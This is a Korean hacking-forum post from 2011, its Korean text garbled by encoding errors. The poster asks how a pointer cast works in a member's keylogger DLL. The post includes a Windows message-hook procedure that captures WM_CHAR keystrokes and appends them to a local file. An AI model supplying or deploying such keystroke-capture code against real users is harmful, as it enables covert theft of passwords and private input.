ÇÁ·Î±×·¡¹Ö

 3198, 1/160 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   p0lly
   mongii´ÔÀÇ Å°·Î°ÅÄڵ带 º¸°í Áú¹®ÀÔ´Ï´Ù (2)

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3134 [º¹»ç]


mongii´ÔÀÇ Å°·Î°ÅÄڵ带 º¸°í Áú¹®ÀÔ´Ï´Ù...

¾Æ·¡ DLL¾ÈÀÇ ÄÚµåÁß...
if(((MSG*)lp)->message == (long)WM_CHAR) Àº message¶ó´Â ¸â¹ö¿Í WM_CHAR°¡ °°ÀºÁö È®ÀÎÇÏ´Â °Í °°½À´Ï´Ù.
¿©±â¼­ ((MSG*)lp)->message °¡ ¾î¶² µ¿ÀÛÀ» ÇÏ´ÂÁö ¿©Âã´Ï´Ù. ((MSG*)lp)ÀÇ Àǹ̸¦ ¸ð¸£°Ú½À´Ï´Ù.
*°¡ MSG±¸Á¶Ã¼µÚ¿¡ ºÙÀ¸¸é ¾î¶² ÀǹÌÀÎÁö¿ä? ÀÚ¼¼ÇÑ ¼³¸í ºÎʵ右´Ï´Ù. °¨»çÇÕ´Ï´Ù!



================= ۷ΰÅ.exeÀÇ WinMain()Áß ÀϺΠ=================

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
        HWND hWnd;        
        MSG message;  
              :
              :


================= Űº¸µå ³»¿ëÀ» ÆÄÀÏ·Î ÀúÀåÇÏ´Â DLL ÄÚµå ===================

#include <window.h>

__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
        if(((MSG*)lp)->message == (long)WM_CHAR)
        {                        
                HANDLE hFile;
                DWORD dwWrite;
               hFile = CreateFile("c:\\test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
                        FILE_ATTRIBUTE_NORMAL, NULL);        
                SetFilePointer(hFile, 0, 0, FILE_END);                        
                WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwWrite, NULL);
                CloseHandle(hFile);                                
        }
        return TRUE;        
}

  Hit : 4284     Date : 2011/08/15 05:06